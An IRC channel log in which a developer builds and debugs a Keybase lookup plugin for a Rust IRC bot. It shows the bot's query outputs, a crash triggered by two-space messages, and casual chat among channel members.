[2014-12-21T10:34:15-0500] <@awe> aseawe/","sig_id":"cf885c68f6180d0f2f5f34a2a97cf9a4cac402a76079cafd43304c6a503e9cb20f","proof_id":"763b05ebffdfcda48775c210","human_url":"https://www.reddit.com/r/KeybaseProofs/comments/2doi6t/my_keybase_proof_redditaaronweiss74_keybaseawe/","service_url":"https://reddit.com/user/aaronweiss74","presentation_group":"reddit","presentation_tag":"post"}],"coinbase":[{"proof_type":"coinbase","nametag":"coinbase/awe","state":1,"proof_url":"https://coinbase.com/awe/public-key"
[2014-12-21T10:34:15-0500] <@awe> ,"sig_id":"2b0b8f5cb22981f82f05a21b87c719cf7393902ac748db3c17eee986ba0335a30f","proof_id":"287cb18e4e5ff68db6a5c810","human_url":"https://coinbase.com/awe/public-key","service_url":"https://coinbase.com/awe","presentation_group":"coinbase","presentation_tag":"post"}],"deviant-core.net":[{"proof_type":"dns","nametag":"deviant-core.net","state":1,"proof_url":"https://keybase.io/awe/sigs/72KJ220uVURxTHZf756bSKba01ffoGHrb7Gg","sig_id":"ef6289db6d2e5544714c765fef9e9b48a6dad3
[2014-12-21T10:34:15-0500] <@awe> 57dfa061eb6fb1a01b3d1e10880f","proof_id":"56c2bc5deb8de634f185d810","human_url":"dns://deviant-core.net","service_url":"http://deviant-core.net","presentation_group":"deviant-core.net","presentation_tag":"dns"}],"pdgn.co":[{"proof_type":"dns","nametag":"pdgn.co","state":1,"proof_url":"https://keybase.io/awe/sigs/E2WIazNmlm7y2T64d16yzWOcZh-mEh6xEN0b","sig_id":"1365886b3366966ef2d93eb8775eb2cd639c661fa6121eb110dd1bb77212ffed0f","proof_id":"5d4917aec0346b64f6db4410","human
[2014-12-21T10:34:15-0500] <@awe> _url":"dns://pdgn.co","service_url":"http://pdgn.co","presentation_group":"pdgn.co","presentation_tag":"dns"}],"aaronweiss.us":[{"proof_type":"dns","nametag":"aaronweiss.us","state":1,"proof_url":"https://keybase.io/awe/sigs/tMz19RZlE_jJ07Ebf3jFgbOWZpyPN1TChk1g","sig_id":"b4ccf5f5166513f8c9d3b11b7f78c581b396669c8f3754c2864d607e09d31c5a0f","proof_id":"642f1561e56cd9582e449510","human_url":"dns://aaronweiss.us","service_url":"http://aaronweiss.us","presentation_group":"aa
[2014-12-21T10:34:15-0500] <@awe> ronweiss.us","presentation_tag":"dns"}]},"all":[{"proof_type":"twitter","nametag":"aatxe","state":1,"proof_url":"https://twitter.com/aatxe/status/545616079440334848","sig_id":"02dc8f599702fd0c3bfbd7f28e70d0b13997d9abb4759bd958854ef7a30451eb0f","proof_id":"90283ca4df5cc021faf13c10","human_url":"https://twitter.com/aatxe/status/545616079440334848","service_url":"https://twitter.com/aatxe","presentation_group":"twitter","presentation_tag":"tweet"},{"proof_type":"github","n
[2014-12-21T10:34:15-0500] <@awe> ametag":"aatxe","state":1,"proof_url":"https://gist.github.com/9500611","sig_id":"b57c608689e482ec6112d692c595f796bb994adab1ed3e9e567269728732df310f","proof_id":"6b62de2d70f303a7fc17e010","human_url":"https://gist.github.com/9500611","service_url":"https://github.com/aatxe","presentation_group":"github","presentation_tag":"gist"},{"proof_type":"reddit","nametag":"aaronweiss74","state":1,"proof_url":"https://www.reddit.com/r/KeybaseProofs/comments/2doi6t/my_keybase_proof
[2014-12-21T10:34:15-0500] <@awe> _redditaaronweiss74_keybaseawe/","sig_id":"cf885c68f6180d0f2f5f34a2a97cf9a4cac402a76079cafd43304c6a503e9cb20f","proof_id":"763b05ebffdfcda48775c210","human_url":"https://www.reddit.com/r/KeybaseProofs/comments/2doi6t/my_keybase_proof_redditaaronweiss74_keybaseawe/","service_url":"https://reddit.com/user/aaronweiss74","presentation_group":"reddit","presentation_tag":"post"},{"proof_type":"coinbase","nametag":"coinbase/awe","state":1,"proof_url":"https://coinbase.com/awe/
[2014-12-21T10:34:15-0500] <@awe> public-key","sig_id":"2b0b8f5cb22981f82f05a21b87c719cf7393902ac748db3c17eee986ba0335a30f","proof_id":"287cb18e4e5ff68db6a5c810","human_url":"https://coinbase.com/awe/public-key","service_url":"https://coinbase.com/awe","presentation_group":"coinbase","presentation_tag":"post"},{"proof_type":"dns","nametag":"deviant-core.net","state":1,"proof_url":"https://keybase.io/awe/sigs/72KJ220uVURxTHZf756bSKba01ffoGHrb7Gg","sig_id":"ef6289db6d2e5544714c765fef9e9b48a6dad357dfa061eb
[2014-12-21T10:34:15-0500] <@awe> 6fb1a01b3d1e10880f","proof_id":"56c2bc5deb8de634f185d810","human_url":"dns://deviant-core.net","service_url":"http://deviant-core.net","presentation_group":"deviant-core.net","presentation_tag":"dns"},{"proof_type":"dns","nametag":"pdgn.co","state":1,"proof_url":"https://keybase.io/awe/sigs/E2WIazNmlm7y2T64d16yzWOcZh-mEh6xEN0b","sig_id":"1365886b3366966ef2d93eb8775eb2cd639c661fa6121eb110dd1bb77212ffed0f","proof_id":"5d4917aec0346b64f6db4410","human_url":"dns://pdgn.co",
[2014-12-21T10:34:15-0500] <@awe> "service_url":"http://pdgn.co","presentation_group":"pdgn.co","presentation_tag":"dns"},{"proof_type":"dns","nametag":"aaronweiss.us","state":1,"proof_url":"https://keybase.io/awe/sigs/tMz19RZlE_jJ07Ebf3jFgbOWZpyPN1TChk1g","sig_id":"b4ccf5f5166513f8c9d3b11b7f78c581b396669c8f3754c2864d607e09d31c5a0f","proof_id":"642f1561e56cd9582e449510","human_url":"dns://aaronweiss.us","service_url":"http://aaronweiss.us","presentation_group":"aaronweiss.us","presentation_tag":"dns"}]}
[2014-12-21T10:34:15-0500] <@awe> ,"cryptocurrency_addresses":{"bitcoin":[{"address":"1GwWFMfnZf2LwEgQAUHBiGV2PdCLyQPYA6","sig_id":"2a5aab80bb44e43c9da7dd6bd50ec401e74237f601284d35d95fd8769777d7a50f"}]},"pictures":{"primary":{"url":"https://s3.amazonaws.com/keybase_processed_uploads/20c222b18b60095e5b2bd140e6cf0705_200_200_square_200.jpeg","width":200,"height":200}},"sigs":{"last":{"sig_id":"b57c608689e482ec6112d692c595f796bb994adab1ed3e9e567269728732df310f","seqno":23,"payload_hash":"1ed7849a02586ce53b
[2014-12-21T10:34:15-0500] <@awe> 03f0bf2c47df013f938cff9c31217b4fc59a0450627cd5"}}}],"csrf_token":"lgHZIGIwOTc5YTJmY2U1OWRjYjExOTAwMDI5NmVmZGVjYzA4zlSW6GfOAAFRgMDEIDCN0TjFYCSAMnXAlr9HYFGPMus13WMGowFFD9dTKsFI"}
[2014-12-21T10:34:17-0500] <@awe> Lol.
[2014-12-21T10:34:20-0500] <@awe> I shouldn't have sent that.
[2014-12-21T10:34:20-0500] <alokpathy> Um
[2014-12-21T10:34:29-0500] <@awe> That's what it prints out.
[2014-12-21T10:34:37-0500] <alokpathy> awe: I think you exploded.
[2014-12-21T10:34:59-0500] <@awe> I did not.
[2014-12-21T10:35:14-0500] <alokpathy> awebot: exploded through you?
[2014-12-21T10:35:21-0500] <@awe> Well, I copy+pasta'd it.
[2014-12-21T10:35:25-0500] <@awe> It's really big.
[2014-12-21T10:35:30-0500] <alokpathy> Ah
[2014-12-21T10:35:37-0500] <@awe> It's the json from the request to Keybase.
[2014-12-21T10:35:37-0500] <alokpathy> Yes, it is very big :P
[2014-12-21T10:35:41-0500] <@awe> The point is, that worked now.
[2014-12-21T10:35:46-0500] <alokpathy> yey
[2014-12-21T10:35:47-0500] <@awe> I can now work on actually making a keybase plugin
[2014-12-21T10:35:55-0500] <alokpathy> Sweet
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[2014-12-21T10:40:48-0500] <@awe> alokpathy: https://www.dropbox.com/s/ba22olhse9u1bb0/Screenshot%202014-12-21%2010.40.45.png?dl=0
[2014-12-21T10:41:22-0500] <alokpathy> :o
[2014-12-21T10:41:30-0500] <alokpathy> You've contributed to Rust?
[2014-12-21T10:45:11-0500] <@awe> My contribution to Rust isn't there.
[2014-12-21T10:45:48-0500] <@awe> But I added an implementation of a trait for a standard library type.
[2014-12-21T10:45:58-0500] <@awe> It was a small change, but rather useful.
[2014-12-21T10:52:09-0500] <alokpathy> Ah, nice
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[2014-12-21T10:54:47-0500] <@awe> @keybase awe
[2014-12-21T10:55:14-0500] <@awe> Okay.
[2014-12-21T10:57:32-0500] <@awe> Now, I need to make some type to decode this json into.
[2014-12-21T11:09:33-0500] <@awe> @keybase awe
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[2014-12-21T11:09:37-0500] <@awe> Nope.
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[2014-12-21T11:10:03-0500] <@awe> @keybase awe
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[2014-12-21T11:11:24-0500] <@awe> @keybase awe
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[2014-12-21T11:12:02-0500] <@awe> @keybase awe
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[2014-12-21T11:14:03-0500] <@awe> @keybase awe
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[2014-12-21T11:14:25-0500] <@awe> @keybase awe
[2014-12-21T11:17:25-0500] <@awe> @keybase awe
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[2014-12-21T11:17:55-0500] <@awe> @keybase awe
[2014-12-21T11:18:02-0500] <@awe> Ok(LookUp { them: Some([Keybase { id: 92c36ba62f1c352dda0a6fab4cb7e200 }]) })
[2014-12-21T11:18:02-0500] <@awe> Okay.
[2014-12-21T11:18:05-0500] <@awe> That much is successful.
[2014-12-21T11:19:33-0500] <@awe> @keybase awe
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[2014-12-21T11:19:41-0500] <@awe> @keybase awe
[2014-12-21T11:19:47-0500] <@awe> :awe!awe@irc.pdgn.co PRIVMSG #pdgn :@keybase awe
[2014-12-21T11:19:47-0500] <@awe> Ok(LookUp { them: Some([Keybase { id: 92c36ba62f1c352dda0a6fab4cb7e200, proofs_summary: ProofSummary { all: [Proof { proof_type: twitter, nametag: aatxe }, Proof { proof_type: github, nametag: aatxe }, Proof { proof_type: reddit, nametag: aaronweiss74 }, Proof { proof_type: coinbase, nametag: coinbase/awe }, Proof { proof_type: dns, nametag: deviant-core.net }, Proof { proof_type: dns, nametag: pdgn.co }, Proof { proof_type: dns, nametag: aaronweiss.us }] } }]) })
[2014-12-21T11:20:01-0500] <@awe> Okay, I've got it.
[2014-12-21T11:20:05-0500] <@awe> I just need some pretty formatting.
[2014-12-21T11:27:08-0500] <@awe> @keybase awe
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[2014-12-21T11:27:18-0500] <@awe> @keybase awe
[2014-12-21T11:27:18-0500] <+awebot> awe: twitter: aatxe github: aatxe reddit: aaronweiss74 coinbase: coinbase/awe dns: deviant-core.net dns: pdgn.co dns: aaronweiss.us
[2014-12-21T11:27:30-0500] <@awe> @keybase kullalok
[2014-12-21T11:27:30-0500] <+awebot> awe: Something went wrong!
[2014-12-21T11:27:45-0500] <@awe> @keybase kullalok
[2014-12-21T11:27:46-0500] <+awebot> awe: Something went wrong!
[2014-12-21T11:27:48-0500] <@awe> @keybase awe
[2014-12-21T11:27:48-0500] <+awebot> awe: twitter: aatxe github: aatxe reddit: aaronweiss74 coinbase: coinbase/awe dns: deviant-core.net dns: pdgn.co dns: aaronweiss.us
[2014-12-21T11:27:55-0500] <@awe> @keybase je
[2014-12-21T11:27:55-0500] <+awebot> awe: twitter: jescalan github: jenius
[2014-12-21T11:27:58-0500] <@awe> @keybase jed
[2014-12-21T11:27:58-0500] <+awebot> awe: github: jedmccaleb
[2014-12-21T11:28:02-0500] <@awe> @keybase jac
[2014-12-21T11:28:02-0500] <+awebot> awe: twitter: jacobedelman github: jacobedelman hackernews: jacobedelman generic_web_site: jacobedelman.com
[2014-12-21T11:28:04-0500] <@awe> There we go.
[2014-12-21T11:28:33-0500] <@awe> @keybase alokt
[2014-12-21T11:28:33-0500] <+awebot> awe: github: kullalok
[2014-12-21T11:28:36-0500] <@awe> alokpathy: ^
[2014-12-21T11:30:05-0500] <@awe> @keybase retep998
[2014-12-21T11:30:06-0500] <+awebot> awe: twitter: retep998 github: retep998 reddit: retep998
[2014-12-21T11:32:50-0500] <@awe> @keybase awe
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[2014-12-21T11:33:02-0500] <@awe> @keybase awe
[2014-12-21T11:33:02-0500] <+awebot> awe: Results Twitter: aatxe GitHub: aatxe Reddit: aaronweiss74 Coinbase: coinbase/awe Website: deviant-core.net Website: pdgn.co Website: aaronweiss.us
[2014-12-21T11:33:06-0500] <@awe> Pretty printing.
[2014-12-21T11:33:07-0500] <@awe> :D
[2014-12-21T11:34:45-0500] <@awe> @keybase awe
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[2014-12-21T11:34:56-0500] <@awe> It crashes whenever I upgrade the library and then try to use it.
[2014-12-21T11:34:57-0500] <@awe> I wonder why.
[2014-12-21T11:35:06-0500] <@awe> @keybase awe
[2014-12-21T11:35:06-0500] <+awebot> awe: Keybase: awe Twitter: aatxe GitHub: aatxe Reddit: aaronweiss74 Coinbase: coinbase/awe Website: deviant-core.net Website: pdgn.co Website: aaronweiss.us
[2014-12-21T11:53:39-0500] <@awe> @keybase awe twitter
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[2014-12-21T11:53:50-0500] <@awe> @keybase awe twitter
[2014-12-21T11:53:50-0500] <+awebot> awe: awe is Twitter: aatxe on twitter.
[2014-12-21T11:54:15-0500] <@awe> @keybase awe twitter
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[2014-12-21T11:54:24-0500] <@awe> @keybase awe twitter
[2014-12-21T11:54:25-0500] <+awebot> awe: awe is aatxe on twitter.
[2014-12-21T11:54:40-0500] <@awe> @keybase awe github
[2014-12-21T11:54:40-0500] <+awebot> awe: awe is aatxe on github.
[2014-12-21T11:54:47-0500] <@awe> :D
[2014-12-21T11:55:31-0500] <@awe> @keybase awe dns
[2014-12-21T11:55:32-0500] <+awebot> awe: awe is deviant-core.net pdgn.co aaronweiss.us on dns.
[2014-12-21T11:55:33-0500] <@awe> top kek
[2014-12-21T11:59:27-0500] <alokpathy> awe: yo nice
[2014-12-21T11:59:27-0500] <+awebot> alokpathy: Something went wrong!
[2014-12-21T11:59:33-0500] <alokpathy> wat
[2014-12-21T11:59:44-0500] <@awe> wat
[2014-12-21T11:59:49-0500] <@awe> awe: hi
[2014-12-21T12:00:16-0500] <@awe> alokpathy: I have no idea what just happened.
[2014-12-21T12:00:51-0500] <alokpathy> oopsie
[2014-12-21T12:01:31-0500] <jwoglom> @keybase jwoglom dns
[2014-12-21T12:01:31-0500] <+awebot> jwoglom: jwoglom is jbw.xyz wogloms.com wogloms.net on dns.
[2014-12-21T12:01:37-0500] <@awe> hmm
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[2014-12-21T12:01:45-0500] <@awe> Okay, after updating it, any message causes it to crash.
[2014-12-21T12:01:54-0500] <jwoglom> nice.
[2014-12-21T12:02:02-0500] <@awe> I'll investigate that.
[2014-12-21T12:02:10-0500] <@awe> (It obviously defeats the purpose of dynamic library support)
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[2014-12-21T12:02:23-0500] <@awe> @keybase jwoglom dns
[2014-12-21T12:02:24-0500] <+awebot> awe: jwoglom has the following domains: jbw.xyz wogloms.com wogloms.net
[2014-12-21T12:02:25-0500] <@awe> :)
[2014-12-21T12:02:52-0500] <@awe> jwoglom: Oh god.
[2014-12-21T12:02:53-0500] <+awebot> awe: Something went wrong!
[2014-12-21T12:02:59-0500] <@awe> jwoglom: Your website is hard to read.
[2014-12-21T12:03:01-0500] <@awe> awebot: wat
[2014-12-21T12:04:25-0500] <@awe> jwoglom: the hard transitions between images are weird
[2014-12-21T12:05:26-0500] <jwoglom> awe: lol sorry
[2014-12-21T12:05:26-0500] <+awebot> jwoglom: Something went wrong!
[2014-12-21T12:05:33-0500] <jwoglom> -_-
[2014-12-21T12:05:44-0500] <@awe> It's sort of nice, but also kind of weird.
[2014-12-21T12:05:55-0500] <jwoglom> haven't messed with it in over a year
[2014-12-21T12:06:08-0500] <jwoglom> my next revision will probably be material design-like
[2014-12-21T12:06:30-0500] <@awe> Ah, okay.
[2014-12-21T12:06:38-0500] <@awe> I'm still wondering what's up with the random something went wrong.
[2014-12-21T12:06:45-0500] <@awe> @keybase jwoglom dns
[2014-12-21T12:06:45-0500] <+awebot> awe: jwoglom has the following domains: jbw.xyz wogloms.com wogloms.net
[2014-12-21T12:06:47-0500] <@awe> gm
[2014-12-21T12:06:48-0500] <@awe> hm
[2014-12-21T12:06:49-0500] <@awe> amh
[2014-12-21T12:06:49-0500] <@awe> ahm
[2014-12-21T12:06:50-0500] <@awe> amh
[2014-12-21T12:06:53-0500] <@awe> alokpathy: 
[2014-12-21T12:06:55-0500] <@awe> alokpathy: hi
[2014-12-21T12:06:57-0500] <@awe> jwoglom: 
[2014-12-21T12:07:00-0500] <@awe> jwoglom: pls
[2014-12-21T12:07:02-0500] <@awe> Nope.
[2014-12-21T12:07:06-0500] <alokpathy> awe: Hello
[2014-12-21T12:07:07-0500] <@awe> Could not replicate.
[2014-12-21T12:07:08-0500] <+awebot> awe: Something went wrong!
[2014-12-21T12:07:10-0500] <@awe> ...
[2014-12-21T12:07:14-0500] <@awe> .-.
[2014-12-21T12:07:16-0500] <alokpathy> lololol
[2014-12-21T12:07:23-0500] <@awe> Fuck you, awebot.
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[2014-12-21T12:07:39-0500] <@awe> thread '<unnamed>' panicked at 'called `Option::unwrap()` on a `None` value'
[2014-12-21T12:07:40-0500] <@awe> lol
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[2014-12-21T12:08:25-0500] <@awe> Fuck you, awebot.
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[2014-12-21T12:08:45-0500] <@awe> Fuck you, awebot.
[2014-12-21T12:08:51-0500] <@awe> Okay.
[2014-12-21T12:08:55-0500] <@awe> So, it's definitely caused by the keybase plugin.
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[2014-12-21T12:09:24-0500] <@awe> Well, one more test.
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[2014-12-21T12:09:26-0500] <@awe> Fuck you, awebot.
[2014-12-21T12:09:28-0500] <@awe> Yup.
[2014-12-21T12:09:38-0500] <@awe> Keybase plugin causes awebot to crash on "Fuck you, awebot."
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[2014-12-21T12:09:51-0500] <@awe> Let's see if he crashes on changes to other plugins.
[2014-12-21T12:10:34-0500] <@awe> @ddg hi
[2014-12-21T12:10:34-0500] <+awebot> awe: https://duckduckgo.com/?q=hi
[2014-12-21T12:10:54-0500] <@awe> @ddg hi
[2014-12-21T12:10:55-0500] <+awebot> awe: https://duckduckgo.com/?q=hi
[2014-12-21T12:11:08-0500] <@awe> :awe!awe@irc.pdgn.co PRIVMSG #pdgn :@ddg hi
[2014-12-21T12:11:08-0500] <@awe> butts
[2014-12-21T12:11:09-0500] <@awe> N.
[2014-12-21T12:11:17-0500] <@awe> Well,
[2014-12-21T12:11:17-0500] <@awe> :awe!awe@irc.pdgn.co PRIVMSG #pdgn :@ddg hi
[2014-12-21T12:11:17-0500] <@awe> :awe!awe@irc.pdgn.co PRIVMSG #pdgn :@ddg hi
[2014-12-21T12:11:17-0500] <@awe> butts
[2014-12-21T12:11:26-0500] <@awe> He didn't crash when I added println!("butts") to DDG.
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[2014-12-21T12:12:06-0500] <@awe> Fuck you, awebot.
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[2014-12-21T12:12:52-0500] <@awe> , awebot.
[2014-12-21T12:12:55-0500] <@awe> you, awebot.
[2014-12-21T12:12:58-0500] <@awe> Fuck
[2014-12-21T12:13:01-0500] <@awe> Fuck you
[2014-12-21T12:13:05-0500] <@awe> awebot.
[2014-12-21T12:13:19-0500] <@awe> Clap you, awebot.
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[2014-12-21T12:13:36-0500] <@awe> ???? ???, ???????
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[2014-12-21T12:13:58-0500] <@awe> ?????????????????
[2014-12-21T12:14:02-0500] <@awe> No crash.
[2014-12-21T12:14:16-0500] <@awe> ???? ???? ???????
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[2014-12-21T12:14:37-0500] <@awe> ????????? ???????
[2014-12-21T12:14:44-0500] <@awe> ???? ????????????
[2014-12-21T12:14:48-0500] <@awe> ???? ????? ??????
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[2014-12-21T12:15:02-0500] <@awe> ???? ??? ??????
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[2014-12-21T12:15:10-0500] <@awe> ???? ??? ?????
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[2014-12-21T12:15:18-0500] <@awe> ???? ??? ????
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[2014-12-21T12:15:27-0500] <@awe> And throttled.
[2014-12-21T12:15:42-0500] <@awe> jwoglom: are you watching this wat?
[2014-12-21T12:15:48-0500] <+ubuntor> what is this supposed to test?
[2014-12-21T12:15:55-0500] <@awe> It's crashing on some inputs.
[2014-12-21T12:15:59-0500] <@awe> I'm trying to figure out what those are.
[2014-12-21T12:16:02-0500] <jwoglom> awe: yeah sort of
[2014-12-21T12:16:19-0500] <jwoglom> I think your bot is screwed up
[2014-12-21T12:16:21-0500] <@awe> My theory so far is any message of any length with two spaces.
[2014-12-21T12:16:23-0500] <@awe> It's just the one plugin.
[2014-12-21T12:16:31-0500] <@awe> If I remove the plugin, this doesn't happen.
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[2014-12-21T12:16:46-0500] <@awe> ? ? ?
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[2014-12-21T12:16:49-0500] <@awe> Yup.
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[2014-12-21T12:16:59-0500] <@awe> ? ?
[2014-12-21T12:17:04-0500] <@awe> ? ? ? ?
[2014-12-21T12:17:10-0500] <@awe>   
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[2014-12-21T12:17:18-0500] <@awe> Any message with exactly two spaces causes it to crash.
[2014-12-21T12:17:37-0500] <@awe> I know why.
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[2014-12-21T12:18:03-0500] <@awe>   
[2014-12-21T12:18:04-0500] <@awe> :)
[2014-12-21T12:18:05-0500] <@awe> Fixed.
[2014-12-21T12:18:12-0500] <@awe> hi there awebot
[2014-12-21T12:18:19-0500] <@awe> @keybase awe twitter
[2014-12-21T12:18:19-0500] <+awebot> awe: awe is aatxe on twitter.
[2014-12-21T12:19:04-0500] <@awe> does he still crash after updating?
[2014-12-21T12:19:07-0500] <@awe> No!
[2014-12-21T12:19:17-0500] <@awe> @keybase jac generic_web_site
[2014-12-21T12:19:39-0500] <@awe> Oh,.
[2014-12-21T12:19:40-0500] <@awe> Yes.
[2014-12-21T12:19:48-0500] <@awe> It does still crash after updating when keybase plugin is installed.
[2014-12-21T12:19:54-0500] <@awe> I forgot that this was open in LLDB
[2014-12-21T12:19:59-0500] <@awe> and therefore some crashes don't cause immediate disconnects.
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[2014-12-21T12:24:27-0500] <@awe> @keybase jac generic_web_site
[2014-12-21T12:24:28-0500] <+awebot> awe: jac has the following domains: jacobedelman.com
[2014-12-21T12:24:58-0500] <@awe> message
[2014-12-21T12:25:38-0500] <@awe> This appears to be OpenSSL related.
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[2014-12-21T12:27:50-0500] <@awe> All the info I have: http://sprunge.us/PYPI
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[2014-12-21T13:40:38-0500] <+JacobEdelman> I have rearrived 
[2014-12-21T14:49:06-0500] <alokpathy> Salutations.
[2014-12-21T14:49:38-0500] <+Tamini> hello friends
[2014-12-21T14:50:15-0500] <alokpathy> How are you all?
[2014-12-21T14:50:57-0500] <+Tamini> good, you?
[2014-12-21T14:51:46-0500] <alokpathy> Meh
[2014-12-21T14:54:20-0500] <@awe> Hello everyone.
[2014-12-21T14:54:25-0500] <@awe> JacobEdelman: want to see something cool?
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[2014-12-21T14:54:35-0500] <@awe> @keybase jac
[2014-12-21T14:54:35-0500] <+awebot> awe: Keybase: jac Twitter: jacobedelman GitHub: jacobedelman HackerNews: jacobedelman Website: jacobedelman.com
[2014-12-21T14:54:40-0500] <@awe> @keybase awe dns
[2014-12-21T14:54:41-0500] <+awebot> awe: awe has the following domains: deviant-core.net pdgn.co aaronweiss.us
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[2014-12-21T16:37:09-0500] <@awe> @keybase retep998
[2014-12-21T16:37:10-0500] <+awebot> awe: Keybase: retep998 Twitter: retep998 GitHub: retep998 Reddit: retep998
[2014-12-21T16:49:59-0500] <@awe> @keybase awe key
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[2014-12-21T16:50:07-0500] <@awe> @keybase awe key
[2014-12-21T16:50:08-0500] <+awebot> awe: Something went wrong!
[2014-12-21T16:50:09-0500] <@awe> @keybase awe key
[2014-12-21T16:50:10-0500] <+awebot> awe: Something went wrong!
[2014-12-21T16:51:09-0500] <+Tamini> @keybase awe
[2014-12-21T16:51:09-0500] <+awebot> Tamini: Something went wrong!
[2014-12-21T16:51:12-0500] <+Tamini> um
[2014-12-21T16:51:15-0500] <@awe> I know what's wrong.
[2014-12-21T16:51:17-0500] <@awe> Don't worry.
[2014-12-21T16:51:18-0500] <+Tamini> did it entirely bork
[2014-12-21T16:51:24-0500] <+Tamini> oh okay
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[2014-12-21T16:51:47-0500] <@awe> @keybase awe key
[2014-12-21T16:51:47-0500] <+awebot> awe: awe is a943ba9f204c61be.
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[2014-12-21T16:52:46-0500] <@awe> @keybase awe key
[2014-12-21T16:52:47-0500] <+awebot> awe: awe's fingerprint is a943ba9f204c61be.
[2014-12-21T16:52:50-0500] <@awe> There we go.
[2014-12-21T16:54:49-0500] <+Tamini> @keybase awe
[2014-12-21T16:54:50-0500] <+awebot> Tamini: Keybase: awe Twitter: aatxe GitHub: aatxe Reddit: aaronweiss74 Coinbase: coinbase/awe Website: deviant-core.net Website: pdgn.co Website: aaronweiss.us
[2014-12-21T16:54:52-0500] <+Tamini> ooh
[2014-12-21T16:55:06-0500] <@awe> @keybase awe dns
[2014-12-21T16:55:06-0500] <+awebot> awe: awe has the following domains: deviant-core.net pdgn.co aaronweiss.us
[2014-12-21T16:55:14-0500] <+Tamini> heh
[2014-12-21T16:55:21-0500] <+Tamini> ugh, i'm getting really annoyed
[2014-12-21T16:55:23-0500] <@awe> @keybase nezorg
[2014-12-21T16:55:23-0500] <+awebot> awe: Something went wrong!
[2014-12-21T16:55:32-0500] <+Tamini> I need to reach someone and he has this habit of disappearing off the face of the planet
[2014-12-21T16:55:34-0500] <@awe> Spoiler alert: it's because he has nothing about him on Keybase.
[2014-12-21T16:55:37-0500] <+Tamini> awe: i thought it was jmgrosen?
[2014-12-21T16:55:42-0500] <@awe> @keybase jmgrosen
[2014-12-21T16:55:42-0500] <+awebot> awe: Something went wrong!
[2014-12-21T16:55:43-0500] <@awe> N.
[2014-12-21T16:55:46-0500] <+Tamini> weird.
[2014-12-21T16:55:51-0500] <@awe> @keybase jwoglom
[2014-12-21T16:55:52-0500] <+awebot> awe: Keybase: jwoglom Twitter: jbwoglom GitHub: jwoglom Coinbase: coinbase/jwoglom Website: jbw.xyz Website: wogloms.com Website: wogloms.net Website: wogloms.com Website: wogloms.net
[2014-12-21T16:55:53-0500] <+Tamini> dammit, nezorg
[2014-12-21T16:55:56-0500] <@awe> @keybase bob_twinkles 
[2014-12-21T16:55:57-0500] <+awebot> awe: Something went wrong!
[2014-12-21T16:56:00-0500] <@awe> @keybase hardmath123
[2014-12-21T16:56:01-0500] <+awebot> awe: Something went wrong!
[2014-12-21T16:56:06-0500] <@awe> Why do you people not have keybase accounts?
[2014-12-21T16:56:13-0500] <jwoglom> keybase is cool
[2014-12-21T16:56:18-0500] <jwoglom> I have like 10 invites
[2014-12-21T16:56:26-0500] <jwoglom> if anyone wants one
[2014-12-21T16:56:29-0500] <@awe> I have two.
[2014-12-21T16:56:42-0500] <@awe> @keybase ubuntor
[2014-12-21T16:56:43-0500] <+awebot> awe: Keybase: ubuntor Twitter: ubuntor GitHub: ubuntor
[2014-12-21T16:56:57-0500] <@awe> @keybase ubuntor key
[2014-12-21T16:56:58-0500] <+awebot> awe: ubuntor's fingerprint is 55477a91201c78f0.
[2014-12-21T16:57:05-0500] <+Tamini> all them pings tho
[2014-12-21T16:57:09-0500] <@awe> :D
[2014-12-21T16:57:26-0500] <@awe> @keybase tam
[2014-12-21T16:57:26-0500] <+awebot> awe: Keybase: tam Twitter: taminiora
[2014-12-21T16:57:36-0500] <jwoglom> @keybase fwilson
[2014-12-21T16:57:37-0500] <+awebot> jwoglom: Keybase: fwilson Twitter: foxwilson42 GitHub: fwilson42 Reddit: fwilson42 Coinbase: coinbase/fwilson42 Website: asigb.us Website: fwilson.me
[2014-12-21T16:58:00-0500] <@awe> Tamini: can you post a message here signed with that key pls?
[2014-12-21T16:58:02-0500] <+Tamini> the fact you remembered that
[2014-12-21T16:58:04-0500] <+Tamini> whyyy
[2014-12-21T16:58:08-0500] <@awe> Tamini: I have no way of verifying that you are tam.
[2014-12-21T16:58:15-0500] <+Tamini> can I claim that I am not
[2014-12-21T16:58:23-0500] <@awe> Why?
[2014-12-21T16:59:27-0500] <+Tamini> can i remain an enigma
[2014-12-21T16:59:28-0500] <+Tamini> :O
[2014-12-21T16:59:45-0500] <@awe> Lol.
[2014-12-21T17:00:41-0500] <+Tamini> <3
[2014-12-21T17:01:11-0500] <bob_twinkles> awe: because effort
[2014-12-21T17:01:17-0500] <@awe> bob_twinkles: bby pls
[2014-12-21T17:02:06-0500] <+Tamini> awe: wow you just hit on everyone, don't you </3
[2014-12-21T17:02:09-0500] <+Tamini> I feel less special :P
[2014-12-21T17:02:13-0500] <@awe> Tamini: <3
[2014-12-21T17:08:57-0500] <+LittleBobbyTables> https://www.humblebundle.com/?gift=t2BW4TqTZtBDfCXF
[2014-12-21T17:09:36-0500] <@awe> LittleBobbyTables: claimed
[2014-12-21T17:09:41-0500] <@awe> LittleBobbyTables: I don't even know what this is.
[2014-12-21T17:09:59-0500] <+LittleBobbyTables> I had an extra key.
[2014-12-21T17:10:11-0500] <+LittleBobbyTables> Go watch a youtube gameplay of it
[2014-12-21T17:10:13-0500] <+LittleBobbyTables> it's an fps
[2014-12-21T17:10:16-0500] <+LittleBobbyTables> multiplayer
[2014-12-21T17:10:55-0500] <+Tamini> what is it specifically?
[2014-12-21T17:11:16-0500] <+LittleBobbyTables> Easier to watch a game
[2014-12-21T17:11:18-0500] <+LittleBobbyTables> than explain
[2014-12-21T17:11:28-0500] <+Tamini> i meant what's it called, jacob :P
[2014-12-21T17:11:53-0500] <+LittleBobbyTables> Screencheat
[2014-12-21T17:12:01-0500] <+LittleBobbyTables> You can click on that link and it tells you lol
[2014-12-21T17:14:28-0500] <+Tamini> oh lol
[2014-12-21T17:14:40-0500] <+Tamini> that looks so cool
[2014-12-21T18:24:36-0500] <hardmath123> jwoglom: awe: I wouldn't mind a Keybase invite.
[2014-12-21T18:24:39-0500] <hardmath123> :)
[2014-12-21T18:24:44-0500] <@awe> hardmath123: pm me email
[2014-12-21T18:25:02-0500] <jwoglom> hardmath123: same
[2014-12-21T18:25:20-0500] <jwoglom> me or awe -- choose! :P
[2014-12-21T18:28:35-0500] <hardmath123> @choose awe jwoglom 
[2014-12-21T18:28:35-0500] <+awebot> hardmath123: awe jwoglom 
[2014-12-21T18:28:42-0500] <hardmath123> @choose awe or jwoglom 
[2014-12-21T18:28:42-0500] <+awebot> hardmath123: awe
[2014-12-21T18:28:46-0500] <hardmath123> awe it is
[2014-12-21T18:29:37-0500] <+Tamini> oh god
